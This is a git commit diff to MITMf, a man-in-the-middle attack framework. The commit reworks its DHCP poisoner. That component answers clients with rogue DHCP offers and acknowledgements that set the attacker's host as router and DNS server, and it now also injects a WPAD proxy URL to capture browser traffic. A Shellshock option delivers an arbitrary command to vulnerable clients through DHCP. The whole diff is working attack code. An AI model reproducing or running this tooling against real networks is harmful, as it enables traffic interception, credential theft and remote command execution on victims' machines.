DHCP poisoner now takes into account the requested IP of clients WPAD server address

Specifying interface is now optional
This commit is contained in:
byt3bl33d3r 2015-07-30 16:56:11 +02:00
parent 87bca5e7dd
commit 8270f337ad
6 changed files with 48 additions and 48 deletions

View file

@ -123,12 +123,6 @@
# Plugin configuration starts here
#
[Spoof]
[[DHCP]]
ip_pool = 192.168.1.10-50
subnet = 255.255.255.0
[Replace]
[[Regex1]]

View file

@ -201,7 +201,7 @@ class ARE_Rules(object):
with open(rule_path, 'r') as rule:
payload = rule.read()
r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers)
return r.text #currently the returned object can't be serialized to JSON
return r.json()
def trigger(self, rule_id):
r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token))

View file

@ -21,7 +21,7 @@ import threading
import binascii
import random
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
from netaddr import IPAddress, IPNetwork
from core.logger import logger
from scapy.all import *
@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner():
def __init__(self, options, dhcpcfg):
def __init__(self, options):
self.interface = options.interface
self.ip_address = options.ip
self.mac_address = options.mac
self.shellshock = options.shellshock
self.netmask = options.netmask
self.debug = False
self.dhcpcfg = dhcpcfg
self.dhcp_dic = {}
log.debug("interface => {}".format(self.interface))
log.debug("ip => {}".format(self.ip_address))
log.debug("mac => {}".format(self.mac_address))
log.debug("netmask => {}".format(self.netmask))
log.debug("shellshock => {}".format(self.shellshock))
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
def start(self):
self.s2 = conf.L2socket(iface=self.interface)
@ -62,30 +62,24 @@ class DHCPpoisoner():
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning: {}".format(e))
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool']
def get_client_ip(self, xid, dhcp_options):
try:
if '/' in pool:
ips = list(IPNetwork(pool))
return str(random.choice(ips))
field_name, req_addr = dhcp_options[2]
if field_name == 'requested_addr':
return 'requested', req_addr
elif '-' in pool:
start_addr = IPAddress(pool.split('-')[0])
try:
end_addr = IPAddress(pool.split('-')[1])
ips = list(IPRange(start_addr, end_addr))
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = pool.split('-')[1]
raise ValueError
except ValueError:
for field in dhcp_options:
if (field is tuple) and (field[0] == 'requested_addr'):
return field[1]
end_addr = IPAddress('.'.join(map(str, end_addr)))
ips = list(IPRange(start_addr, end_addr))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
return 'stored', client_ip
return str(random.choice(ips))
log.error('Specified invalid CIDR/Network range in DHCP pool option')
except AddrFormatError:
log.error('Specified invalid CIDR/Network range in DHCP pool option')
net = IPNetwork(self.ip_address + '/24')
return 'generated', random.choice(list(net))
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
@ -94,15 +88,12 @@ class DHCPpoisoner():
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] == 1:
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
log.info("Sending DHCP OFFER")
method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
if method == 'requested':
log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
else:
log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid)))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
@ -110,19 +101,25 @@ class DHCPpoisoner():
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('subnet_mask', self.netmask),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address)),
"end"]))
log.info("Sending DHCP OFFER")
self.s2.send(packet)
if resp[DHCP].options[0][1] == 3:
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
if method == 'requested':
log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
else:
log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid)))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
@ -130,13 +127,14 @@ class DHCPpoisoner():
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('subnet_mask', self.netmask),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
('rebinding_time', 138240),
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address))]))
if self.shellshock:
log.info("Sending DHCP ACK with shellshock payload")

View file

@ -24,7 +24,7 @@ import sys
from commands import getstatusoutput
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr
from scapy.all import get_if_addr, get_if_hwaddr, get_working_if
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Utils", formatter)
@ -45,6 +45,11 @@ def set_ip_forwarding(value):
file.write(str(value))
file.close()
def get_iface():
iface = get_working_if()
log.debug("Interface {} seems to be up and running")
return iface
def get_ip(interface):
try:
ip_address = get_if_addr(interface)

View file

@ -46,13 +46,13 @@ if os.geteuid() != 0:
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename),
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]',
epilog="Use wisely, young Padawan.")
#add MITMf options
sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
@ -73,7 +73,9 @@ options = parser.parse_args()
logger().log_level = logging.__dict__[options.log_level.upper()]
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
from core.utils import get_iface, get_ip, get_mac, shutdown
if not options.interface:
options.interface = get_iface()
options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface)

View file

@ -49,7 +49,7 @@ class Spoof(Plugin):
if options.targets:
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
dhcp = DHCPpoisoner(options)
dhcp.debug = debug
self.tree_info.append('DHCP spoofing enabled')
self.protocol_instances.append(dhcp)
@ -92,6 +92,7 @@ class Spoof(Plugin):
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')